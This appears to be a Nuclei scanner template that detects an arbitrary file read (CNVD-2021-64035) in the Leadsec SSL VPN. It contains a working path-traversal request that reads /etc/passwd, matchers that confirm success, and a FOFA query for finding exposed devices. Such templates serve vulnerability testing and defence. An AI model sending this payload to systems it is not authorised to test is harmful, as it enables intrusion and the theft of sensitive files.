id: CNVD-2021-64035

info:
  name: Leadsec VPN - Arbitrary File Read
  author: xiaoWangSec
  severity: high
  description: |
    There is an information leakage vulnerability in the SSL VPN of Beijing Wangyuxingyun Information Technology Co., Ltd., and attackers can use the vulnerability to obtain sensitive information.
  reference:
    - https://avd.aliyun.com/detail?id=AVD-2021-888761
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-64035
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="-15980305"
  tags: cnvd,cnvd2024,lfi,leadsec,vpn

http:
  - raw:
      - |
        GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "appframe"

      - type: status
        status:
          - 200
# digest: 490a0046304402204f34570306254fdc8902e24a004fa0bf33c28253e040e0b48f15cecbef1d9c9802204c23ad1e526e9777a0ce204fdf0ca9b64adbd3b20a2e9548b787333007131739:922c64590222798bb761d5b6d8e72950